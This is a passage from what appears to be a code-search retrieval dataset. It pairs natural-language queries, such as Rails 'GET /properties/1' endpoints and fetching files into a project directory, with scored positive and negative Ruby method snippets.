"585b21f2737697ae5ff4ea63c4de19c3", "score": "0.5448571", "text": "def fine_ora\n Time.new(self.year, self.month, self.day, self.hour, 59, 59)\n end", "title": "" }, { "docid": "43986428646479ca0e1969b751cfa4d4", "score": "0.5437141", "text": "def end_year\n Time.now.year \n end", "title": "" }, { "docid": "f70da4c076e62d8c94c80335a78cace2", "score": "0.54318166", "text": "def dt_start\n @current_date.clone if @current_date\n end", "title": "" }, { "docid": "b59ed01648d451127a7801136102ef3a", "score": "0.54293066", "text": "def start_time\n dtstart.to_datetime\n end", "title": "" }, { "docid": "7b94784bcd98073340d8994b2e83cd15", "score": "0.5419288", "text": "def thisYear\n\t\t\t@this_year ||= Date.current.year\n\t\tend", "title": "" } ]
11007373710144246a3cef4e3501bf4f
GET /properties/1 GET /properties/1.json
[ { "docid": "f1b547120b16a5e0d467fecb4d3b1fd5", "score": "0.0", "text": "def show\n address = Address.where([\"address_id = ? and user_email = ?\", @property.address_id, current_user.email]).first\n citystate = address.city << \", \" << address.state\n @data = Rubillow::PropertyDetails.deep_search_results({ :address => address.line_1, :citystatezip => citystate })\n @zillow_pref = -1\n if ZillowPref.where([\"user_email = ?\", current_user.email]).size > 0\n @zillow_pref = ZillowPref.where([\"user_email = ?\", current_user.email]).first\n end\n end", "title": "" } ]
[ { "docid": "11b54af87a7bad5d0f1bea0734511e6e", "score": "0.7648456", "text": "def show\n @properties_path = PropertiesPath.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @properties_path }\n end\n end", "title": "" }, { "docid": "0bf5477934b357705f9f253da9b9b1fe", "score": "0.7495929", "text": "def show\n @property = Property.find(params[:id])\n\n render json: @property\n end", "title": "" }, { "docid": "8d1cec387b123825ce4c736cdc82ba25", "score": "0.7472019", "text": "def show\n # @property = Property.find(params[:id])\n @properties = []\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "c6b51f8b77c0f072870e69d3eed91635", "score": "0.72431993", "text": "def index\n if params[:user_id]\n user = User.find(params[:user_id])\n properties = user.properties\n else\n properties = Property.all\n end\n render json: { properties: properties }\n end", "title": "" }, { "docid": "09b47dd045ec493bf7f6759044c2392a", "score": "0.723271", "text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "09b47dd045ec493bf7f6759044c2392a", "score": "0.723271", "text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "09b47dd045ec493bf7f6759044c2392a", "score": "0.723271", "text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "09b47dd045ec493bf7f6759044c2392a", "score": "0.723271", "text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "09b47dd045ec493bf7f6759044c2392a", "score": "0.723271", "text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "09b47dd045ec493bf7f6759044c2392a", "score": "0.723271", "text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "ec735a223d22f1f19b59623e1b57496d", "score": "0.71796745", "text": "def show\r\n @property = Property.find(params[:id])\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @property }\r\n end\r\n end", "title": "" }, { "docid": "d502064146a08e16f9295c3e980dbac0", "score": "0.7156101", "text": "def index\n @properties = Property.all\n render json: @properties\n end", "title": "" }, { "docid": "c045994c462763601996d1cec17b3868", "score": "0.7139553", "text": "def show\n # @properties = Property.where(team_id: params[:id].to_i)\n # render json: @properties\n end", "title": "" }, { "docid": "45eaebfb17914c9283e9b64d3a10f219", "score": "0.71123415", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "45eaebfb17914c9283e9b64d3a10f219", "score": "0.71123415", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "c91e94c5dd57eb399114c427104e83fc", "score": "0.71060836", "text": "def index\n @properties = Property.all\n render :json => @properties\n end", "title": "" }, { "docid": "d848e2abbeb86339a98b9d1d3de963c9", "score": "0.7087788", "text": "def index\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end", "title": "" }, { "docid": "bef7bb934246c778592609ca599d2a24", "score": "0.70735604", "text": "def show\n @prop = @project.props.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prop }\n end\n end", "title": "" }, { "docid": "fde1b766052d9d6a82c31b20a9a3c989", "score": "0.70566326", "text": "def index \n\t\t@properties = Property.all \n\n\t\t# render json: @properties, status: :ok\n\tend", "title": "" }, { "docid": "3634ef68bf6896850dd67b610b9e4c43", "score": "0.69512933", "text": "def fetch_properties\n endpoint = ENDPOINT_METHODS.fetch(:properties_list)\n client_for(endpoint).invoke(endpoint, authentication_params)\n end", "title": "" }, { "docid": "84e62394b335c8b84d1f0157f53ed5a0", "score": "0.69446224", "text": "def property(property_id)\n perform_get_request(\"/property/#{property_id}\")\n end", "title": "" }, { "docid": "84e62394b335c8b84d1f0157f53ed5a0", "score": "0.69446224", "text": "def property(property_id)\n perform_get_request(\"/property/#{property_id}\")\n end", "title": "" }, { "docid": "6be4a95668f4724cb9a96bd62cde7f87", "score": "0.6939113", "text": "def show\n\t\tproperty = Property.find_by_request_id(params[:id])\n\t\tif property\n\t\t\trender json: { status: 200, message: \"Request successfull\", property: property.as_json }\n\t\telse\n\t\t\trender json: { status: 404, message: \"Request not found\"}\n\t\tend\n\tend", "title": "" }, { "docid": "3ea47fe95e50c0d090066b64f591deb3", "score": "0.693142", "text": "def show\n json_response(@property)\n end", "title": "" }, { "docid": "d89431de4fd67e10f49db8b9fcc911da", "score": "0.69239646", "text": "def show\n @spec_property = SpecProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spec_property }\n end\n end", "title": "" }, { "docid": "5a9ca838dcd330334bbc1e0f88c7ff48", "score": "0.68932533", "text": "def index\n params[:q] ||= {}\n @search = Property.search params[:q]\n @properties = @search.result(distinct: :true).page(params[:page])\n\n render(:json => {:response => {:success => true,\n :info => \"Properties\",\n data: {properties: @properties }, :status => 200}}) and return\n\n end", "title": "" }, { "docid": "b826e3c2f379f3de639bc9f8caf74530", "score": "0.6849513", "text": "def show\n @personal_property = PersonalProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @personal_property }\n end\n end", "title": "" }, { "docid": "f0a4407359a3f24787b7304ef2274863", "score": "0.68248504", "text": "def show\n @property = Property.find(params[:id])\n end", "title": "" }, { "docid": "4e68bde9f4627a87d6433e0d1706f1b4", "score": "0.68240887", "text": "def get_properties\n xml = client.call(\"#{url}/property\").parsed_response\n xml.css('properties property').map { |p| Vebra::Property.new(client, p, branch: self) }\n end", "title": "" }, { "docid": "3922b7c759bd7167305be613ee8f27ab", "score": "0.6818779", "text": "def show\n @myprop = Myprop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myprop }\n end\n end", "title": "" }, { "docid": "da0dc4a5836b1a5ac0b1c0efaad0cecf", "score": "0.68067116", "text": "def index\n @property = Property.new #for custom search\n @properties = Property.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end", "title": "" }, { "docid": "888a7c5577b476e986184667ecdfb948", "score": "0.6785167", "text": "def show\n @property = Property.find params[:id]\n end", "title": "" }, { "docid": "f5069dea8d15389501e6adde45b36345", "score": "0.67551714", "text": "def index\n #@properties = Property.all\n @properties = current_customer.properties.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n end\n end", "title": "" }, { "docid": "857b95e01041545ef0513bbccc6eb532", "score": "0.67531615", "text": "def show\n @project_property = ProjectProperty.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project_property }\n end\n end", "title": "" }, { "docid": "754576c79d7ae262cc7e8a5dbdf4f5a7", "score": "0.6751715", "text": "def show\n @property = Property.find(params[:id])\n\n end", "title": "" }, { "docid": "c578a1db34a0216e90384e35363a5dc5", "score": "0.67403746", "text": "def index\n @server_property = ServerProperty.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @server_properties }\n end\n end", "title": "" }, { "docid": "0a9a9dee6eae35f0ca50dbf46640cc26", "score": "0.67209053", "text": "def list\n @properties = Property.all\n end", "title": "" }, { "docid": "f46fd7f0620f2aa5fe2fe2eff5b1d295", "score": "0.67207503", "text": "def get_property_by_id(id)\n property_response = properties.get_by_id(id)\n\n raise PropertyNotFound if property_response.nil?\n\n build_response [property_response]\n end", "title": "" }, { "docid": "2b0a3ec47298432103c43c4d19ba44af", "score": "0.67167366", "text": "def properties(property = nil)\n if property\n result = resource_properties.select{|rp| rp.property.hrid == property} rescue nil\n case result.size\n when 0\n nil\n when 1\n result[0]\n else\n result\n end\n else\n resource_properties\n end\n end", "title": "" }, { "docid": "8a6f2aa52ad544d3fbb7b34e2a638c84", "score": "0.6705937", "text": "def show\n @kpi_property = KpiProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kpi_property }\n end\n end", "title": "" }, { "docid": "8ba31b58654a2f2507ed10efba683e81", "score": "0.667975", "text": "def show\n @server_property = ServerProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @server_property }\n end\n end", "title": "" }, { "docid": "e872e7b327155423308013090615b28e", "score": "0.66580254", "text": "def show\n @add_property = AddProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @add_property }\n end\n end", "title": "" }, { "docid": "f5b2fe0201699d150e396e62afd6ccaf", "score": "0.66576505", "text": "def get(property)\n property = property.to_s\n property = \"_id\" if property == \"id\"\n property = \"_rev\" if property == \"rev\"\n @properties[property]\n end", "title": "" }, { "docid": "53de6178eee45d0bb8a34274cbdd68c3", "score": "0.66528946", "text": "def show\n @property_definition = PropertyDefinition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_definition }\n end\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "a0162c2945712a15615cd11f55be34c5", "score": "0.66458714", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "c8f3ba4c6d7daa7beec83590259764d0", "score": "0.663888", "text": "def show\n @prospective_property = ProspectiveProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prospective_property }\n end\n end", "title": "" }, { "docid": "127c5dd6106f78e58700f563a41f6d20", "score": "0.66155815", "text": "def show\n \t@property = Property.find_by(:id => params[:id])\t\n end", "title": "" }, { "docid": "a904b8d2ee39eecd7f90e6d5ba2e9ad4", "score": "0.66102093", "text": "def index\n @properties = Property.all\n end", "title": "" }, { "docid": "549354c8638188f3dee2de7461cbb8fa", "score": "0.6601973", "text": "def index\n @properties = Property.available\n end", "title": "" }, { "docid": "fbe97a7d6fb4855b48e5f5f7204fd994", "score": "0.6577717", "text": "def getproperties\n #@properties = Property.all\n @properties = Property.where('leasing_agent_id = ?', current_leasing_agent.id)\n end", "title": "" }, { "docid": "a3befaad2a432cd74e6c42e198258c82", "score": "0.65693074", "text": "def new\n @properties_path = PropertiesPath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @properties_path }\n end\n end", "title": "" }, { "docid": "aeaee3becfd0352464841d7cc1e51407", "score": "0.6559401", "text": "def getPropertiesByQuery(url)\r\n # Fetch data\r\n uri = URI.parse(URI.encode(url.strip))\r\n response = Net::HTTP.get(uri)\r\n json_result = JSON.parse(response)\r\n\r\n puts json_result[\"results\"].nil? \r\n\r\n # Check to make sure we have results\r\n if json_result[\"results\"].nil?\r\n return {:status => \"No results\"}.to_json\r\n else\r\n # Return results\r\n return json_result.to_json\r\n end\r\n\r\n # Set up storage\r\n # mls_props = Hash.new\r\n # listing_results = json_result[\"results\"]\r\n\r\n # # Loop over listing results\r\n # cnt = 1\r\n # listing_results.each do |r| \r\n # # Gather data\r\n # house_data = getPropertyInfoFromJson(r) # property info \r\n # listing_data = getListingInfoFromJson(r) # listing info\r\n # !r[\"events\"].nil? ? event_data = r[\"events\"] : event_data = nil # events info\r\n\r\n # # Call PDQ to determine if property is pre-qualified\r\n # ##############################################################\r\n # ###### Placeholder to call get_values (PDQ) on property ######\r\n # ##############################################################\r\n\r\n # # Save results for property\r\n # mls_props[cnt] = {:propertyInfo => house_data, \r\n # :mlsInfo => listing_data,\r\n # :events => event_data}\r\n # cnt += 1\r\n # end\r\n\r\n # # Construct total data hash\r\n # all_data = Hash.new\r\n # all_data[:totalNumProperties] = json_result[\"total\"]\r\n # all_data[:results] = mls_props\r\n\r\n # return all_data.to_json\r\n end", "title": "" }, { "docid": "92bc6a3bc60293d76bca3a188e37a542", "score": "0.6554954", "text": "def show\n @property = Property.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "title": "" }, { "docid": "d677f8ac3c4e905f5b9e9755f004b27d", "score": "0.65459913", "text": "def show\n render(:json => {:response => {:success => true,\n :info => \"Property\",\n data: {property: @property }, :status => 200}})\n end", "title": "" }, { "docid": "01b5ada889f0c9e9fbd7b990e60fb0a7", "score": "0.65422314", "text": "def server_properties\n request.get({ path: '/server/properties', headers: headers })\n end", "title": "" }, { "docid": "771b8b706bae2f924cd302d90d910b48", "score": "0.6542178", "text": "def index\n @kpi_properties = KpiProperty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kpi_properties }\n end\n end", "title": "" }, { "docid": "e934b75f7b0a77e734b82749d66ac87a", "score": "0.6536924", "text": "def show\n @property = Property.find(params[:id])\n @build_json = {:id => @property.id, :property => @property.name, :items => @property.items.collect{|item| [item.id, item.values.where(:property_id => @property.id)]}}\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @build_json.to_json(:only => [:id, :property, :items, :name])}\n end\n end", "title": "" }, { "docid": "ebc2fa714180f027cd77a4dfc1f03e42", "score": "0.6535947", "text": "def properties\n request = Net::HTTP::Get.new URI.join(\n @base_uri.to_s,\n \"/cloudlets/api/v2/policies/#{@policy_id}/properties\"\n ).to_s\n response = @http_host.request(request)\n response.body\n end", "title": "" }, { "docid": "b1de9b296243a66043617393f10b3e56", "score": "0.6528419", "text": "def show\n @leased_property = LeasedProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leased_property }\n end\n end", "title": "" }, { "docid": "1c292cdd43faa927575d839433eb565f", "score": "0.65193796", "text": "def show\n @property_style = PropertyStyle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_style }\n end\n end", "title": "" }, { "docid": "78e19b4355d3b3e40a8ed0801d599349", "score": "0.6510852", "text": "def get_by_id(id)\n id = id.to_i\n property_response = id > 0 ? properties[id -1] : nil\n return property_response if property_response.nil?\n\n property_response\n end", "title": "" }, { "docid": "2b85b4dc4f46b770f59150896d758527", "score": "0.6479423", "text": "def show\n @member_property = MemberProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @member_property }\n end\n end", "title": "" }, { "docid": "4149a8fab25033bff20fda5c521de35d", "score": "0.6478329", "text": "def index\n @spec_properties = SpecProperty.all\n @spec_property = SpecProperty.new\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spec_properties }\n end\n end", "title": "" }, { "docid": "3341ffc02e345084985698572147f185", "score": "0.6477124", "text": "def get_all\n props=available_properties\n get *props\n end", "title": "" }, { "docid": "ebfe96061d1713edd13fa4bdc40fd038", "score": "0.64594537", "text": "def show\n @proitem = Proitem.find(params[:id])\n\n k = @proitem.someline.split(',')\n\n @prop = Property.find(k)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proitem }\n end\n end", "title": "" }, { "docid": "c45ec235d729bb7b07d6095871b11e23", "score": "0.6449884", "text": "def show\n @property_structure = PropertyStructure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property_structure }\n end\n end", "title": "" }, { "docid": "dcc62ae0deddcd2abd03c86f68a1a75b", "score": "0.6443471", "text": "def show\n @relation_property = RelationProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relation_property }\n end\n end", "title": "" }, { "docid": "243f52d440ac2a60a8875fa500621937", "score": "0.6441034", "text": "def show\n @property = Property.find(params[:id])\n #find close properties, and reject the first one(it will always be itself, no need to redundant)\n @properties = Property.search_by_rooms(@property).near(@property, 20, :order => :distance)[1..-1]\n @google_maps = gen_google_maps_url(@property, @properties)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @property }\n end\n end", "title": "" }, { "docid": "ffc7d5ab3d79c235a1b434bdae5a3eca", "score": "0.6435949", "text": "def get_prop(values)\n request({id: 1,method: 'get_prop', params: values})\n end", "title": "" }, { "docid": "df2f85c6805992d77054f78723183c92", "score": "0.643095", "text": "def index\n \t@properties = Imovel.all\n end", "title": "" }, { "docid": "442bcedde7350aa27dd368560e011467", "score": "0.6429903", "text": "def fetch(property)\n properties.fetch(property)\n end", "title": "" }, { "docid": "e98a1ad6c80796e2d176ade6f01634c6", "score": "0.64297116", "text": "def get_device_properties device_id\n get \"devices/#{device_id}/properties\"\n end", "title": "" }, { "docid": "f4123dd076955d6953d9c12623bcbba0", "score": "0.6428347", "text": "def show\n @user_property = UserProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_property }\n format.xml { render xml: @user_property }\n end\n end", "title": "" }, { "docid": "9c9976b843de1eaf64d354f7b1acd70d", "score": "0.6418091", "text": "def properties\n # build request path\n path = 'points/%2.4f%%2C%2.4f' % [@y, @x]\n\n # execute request, return properties\n get(path)['properties']\n end", "title": "" }, { "docid": "c57ecfea1e7246d483780be0a855ecb2", "score": "0.6416471", "text": "def show\n @event_property = EventProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_property }\n end\n end", "title": "" }, { "docid": "cce3a7114aff3e2c97d10f1aa193657c", "score": "0.6407765", "text": "def show\n @image_property = ImageProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image_property }\n end\n end", "title": "" }, { "docid": "473a8994a995b039cef3f5f14155e9cb", "score": "0.6394564", "text": "def get_by_property\n begin\n @api_v1_reservation = current_api_v1_user.properties.find(params[:id]).reservations\n render template: '/api/v1/reservations/index', status: 200\n rescue Exception => errors\n render json: errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "614c34c1a31bcdc840b323d738033c60", "score": "0.63899326", "text": "def index\n @props = @project.props.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @props }\n end\n end", "title": "" }, { "docid": "836da00306b482a0089ea320453b419f", "score": "0.63842344", "text": "def properties\n self['properties']\n end", "title": "" }, { "docid": "4e4b15156b790a4de208c60914487de8", "score": "0.6383518", "text": "def show\n @category_property = CategoryProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @category_property }\n end\n end", "title": "" }, { "docid": "05ee2da9f01e3c7daf8856e2abd6739c", "score": "0.6377304", "text": "def show\n @word_property = WordProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @word_property }\n end\n end", "title": "" }, { "docid": "438a67cf14412f8abd4ee3d12f5b07c4", "score": "0.6374333", "text": "def get_property(property)\n cmd = [\"GET\", self.class.object_name, id, property].compact.join(\" \")\n response = Skyper::Skype.send_command(cmd)\n raise Skyper::SkypeError, response if response =~ /ERROR/\n reply = %r/(#{self.class.object_name})\\s+([\\S]+)?\\s*(#{property})\\s+(.*)/.match(response)\n reply && reply[4]\n end", "title": "" }, { "docid": "5cbf091b1b9b92997d0a51e736b00265", "score": "0.63620853", "text": "def index\n authorize! :read, ::Property\n @properties = filter_properties\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @properties }\n format.csv { render text: Smartrent::Property.to_csv }\n end\n end", "title": "" }, { "docid": "b0236320edba3382796a40f09d0f7ea9", "score": "0.63566625", "text": "def show\n @device_property = DeviceProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @device_property }\n end\n end", "title": "" }, { "docid": "7bb245494ce1ff0baeaabdc698c0a343", "score": "0.6343314", "text": "def requested_properties\n @properties\n end", "title": "" }, { "docid": "3dcaea825dd60d2bfcf82be594e6c717", "score": "0.6343063", "text": "def get_properties\n resp_body = @api['get'].response_body_schema(200)\n props = resp_body['properties']\n # get overrides\n override = @api['override'].body_schema\n if not override.nil? and not override['properties'].nil?\n override['properties'].each do |key, value|\n if props.include? key and not value['properties'].nil?\n value['properties'].each do |subkey, subvalue|\n if subkey == 'name' and not subvalue['title'].nil?\n props[subvalue['title']] = props[key]\n\t props[subvalue['title']]['field'] = key\n\t props.delete(key)\n\t elsif subkey == 'description' and not subvalue['title'].nil?\n props[key][subkey] = subvalue['title']\n\t end\n\t end\n\tend\n end\n end\n props\n end", "title": "" }, { "docid": "d254440c82588715b4879511d390753a", "score": "0.6343022", "text": "def index\n @properties = Property.all\n\n respond_to do |format|\n format.html \n format.json { render json: Property.to_json }\n format.n3 { render text: Property.to_n3, mime_type: \"text/rdf+n3\" }\n format.ttl { render text: Property.to_n3, mime_type: \"application/x-turtle\" }\n format.xml { render text: Property.to_xml, mime_type: \"application/rdf+xml\" }\n end\n end", "title": "" }, { "docid": "0c03128f78b712e5d0da2aeb3bfc9ac9", "score": "0.63310796", "text": "def propertys(opts = {})\n find_collection(\"properties\", opts)\n end", "title": "" }, { "docid": "746517b998d973ea4180bcaf884900f6", "score": "0.6326046", "text": "def get_properties_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AdministrationApi.get_properties ...'\n end\n # resource path\n local_var_path = '/api/3/administration/properties'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'EnvironmentProperties')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AdministrationApi#get_properties\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
af3b928267f5f92f98ee470fd9c1e2eb
Fetch any new files by copying them to the +project_dir+.
[ { "docid": "6ba05f1c4d9bebcb97ce403101f2b938", "score": "0.6593044", "text": "def fetch\n log.info(log_key) { \"Copying from `#{source_file}'\" }\n\n create_required_directories\n FileUtils.cp(source_file, target_file)\n # Reset target shasum on every fetch\n @target_shasum = nil\n target_shasum\n end", "title": "" } ]
[ { "docid": "c3f8c38f8e9e46f01ef01772cfbd20bc", "score": "0.6513685", "text": "def fetch\n log.info(log_key) { \"Fetching from `#{source_url}'\" }\n create_required_directories\n\n if cloned?\n git_fetch\n else\n force_recreate_project_dir! unless dir_empty?(project_dir)\n git_clone\n end\n end", "title": "" }, { "docid": "fbfba4da3fb3692ca22e26e00dbe0467", "score": "0.65045285", "text": "def copy_files(list_for_copy)\n list_for_copy.each do |name|\n FileUtils.mkdir_p File.dirname(CUR_FOLDER + name)\n FileUtils.cp(File.join(GEM_FOLDER, '../sources', name), File.dirname(CUR_FOLDER + name))\n end\nend", "title": "" }, { "docid": "b6cee9ec872bdba002e9ead15d715f74", "score": "0.6437118", "text": "def copy_files\n FILES.each do |file|\n base_file = File.expand_path(File.join(Corrupt.root, file))\n Dir.chdir(@path) do |app_root|\n base_path = File.dirname(file)\n destination = File.join(app_root, file)\n copy_command = \"cp #{base_file} #{destination}\"\n %x/#{copy_command}/\n end\n end\n end", "title": "" }, { "docid": "6e4cad07f3cdfcb86a19a7d0f3fa67b9", "score": "0.6355524", "text": "def copy_source_files_to_scratch\n source_directories.each do |dir|\n Origen.file_handler.resolve_files(dir) do |file|\n subdir = file.relative_path_from(Pathname.new(dir)).dirname.to_s\n cpydir = \"#{ungenerated_dir}/#{subdir}\"\n FileUtils.mkdir_p(cpydir) unless File.exist?(cpydir)\n FileUtils.copy(file, cpydir)\n end\n end\n end", "title": "" }, { "docid": "86f5c6154618a1a7941089bae3f62061", "score": "0.633964", "text": "def load_newfiles\n load_newfile File.join(HOME_DIRECTORY, NEWFILE_NAME)\n load_newfile File.join(PROJECT_DIRECTORY, NEWFILE_NAME)\n end", "title": "" }, { "docid": "2cdff4a67e85657435ac4538aa24a270", "score": "0.6327495", "text": "def copy_files\n copy_images\n copy_downloads\n copy_style_sheets\n end", "title": "" }, { "docid": "7ee43672c355a81f3e74c45652f71d54", "score": "0.6261175", "text": "def working_copy_files\n `git -C #{@config.working_dir} diff --name-only`\n end", "title": "" }, { "docid": "6747f8689a024a451f0d14e216db5021", "score": "0.62443924", "text": "def fetch\n log.info(log_key) { \"Fetching from `#{source_url}'\" }\n\n create_required_directories\n\n if cloned?\n git_fetch unless same_revision?\n else\n git_clone\n git_checkout\n end\n end", "title": "" }, { "docid": "6a993b0298bf936549aacf9027b5336b", "score": "0.62221295", "text": "def added_files\n @repository.chdir do\n @added ||= @repository.status.added.to_a.map(&:first)\n end\n end", "title": "" }, { "docid": "d601ebde148de5f81f72f581a693db80", "score": "0.6219932", "text": "def copy_source_files\n Dir[\"#{SRC_DIR}/*.*\"].each do |path|\n filename = File.basename(path)\n\n copy_source_file = file(filename => path) do\n verbose(@verbosity == :verbose) { cp path, filename }\n end\n\n task(:build => copy_source_file)\n end\n end", "title": "" }, { "docid": "b0682292717dc0c3f18581747f05664f", "score": "0.6153637", "text": "def copy_files(source, target)\n delete_files_in_dir(target)\n create_dir(target)\n Dir.glob(File.join(source, \"**\", \"*.{zip,xml}\")).each do |file|\n loginfo(\"Copying #{file} to process directory...\", 1)\n FileUtils.cp(file, target)\n loginfo(\"Done.\\n\", 1)\n end\nend", "title": "" }, { "docid": "f6e64b2d29d16941a9b0716a940b5708", "score": "0.61252934", "text": "def copyfiles(oldstat, newstat)\n\tlist = []\n\t# copy changed files\n\tnewstat.keys.each { |f|\n\t\tnext if newstat[f] == oldstat[f]\n\t\tlist << f\n\t\tputs \" copy #{f}\" if $VERBOSE\n\t\trf = File.join($opts[:subrepo], f)\n\t\tFileUtils.mkdir_p File.dirname(rf)\n\t\tFile.open(rf, 'wb') { |fdw|\n\t\t\tFile.open(f, 'rb') { |fdr|\n\t\t\t\tfdw.write fdr.read\n\t\t\t}\n\t\t}\n\t}\n\t# remove old deleted/moved files\n\t(oldstat.keys - newstat.keys).each { |f|\n\t\tlist << f\n\t\tputs \" rm #{f}\" if $VERBOSE\n\t\trunsubdir { File.unlink(f) }\n\t}\n\tlist\nend", "title": "" }, { "docid": "afa568271aa56e7e933235892db074a5", "score": "0.6084907", "text": "def rebuild\n @files = []\n\n Dir[\"#{@local_path}**/*\"].each do |f|\n if File.file?(f)\n f = File.new(f)\n f.sub_path = f.path.gsub(@local_path, '')\n @files << f\n end\n end\n end", "title": "" }, { "docid": "a2a78fd049ec33551a040cfd70baabed", "score": "0.6072182", "text": "def copy_files\n super\n\n touch @update_filename\n end", "title": "" }, { "docid": "5cf58f3f4144ee352701393f7c06442b", "score": "0.60667205", "text": "def copy_resources\n COPIED_FILES.each do |file|\n cp File.join(@template, file), File.join(@directory, file)\n end\n end", "title": "" }, { "docid": "4f6d2469b94caac359dd2b963d1a0128", "score": "0.60433143", "text": "def copy_files!\n source = before_path\n destination = temp_path\n 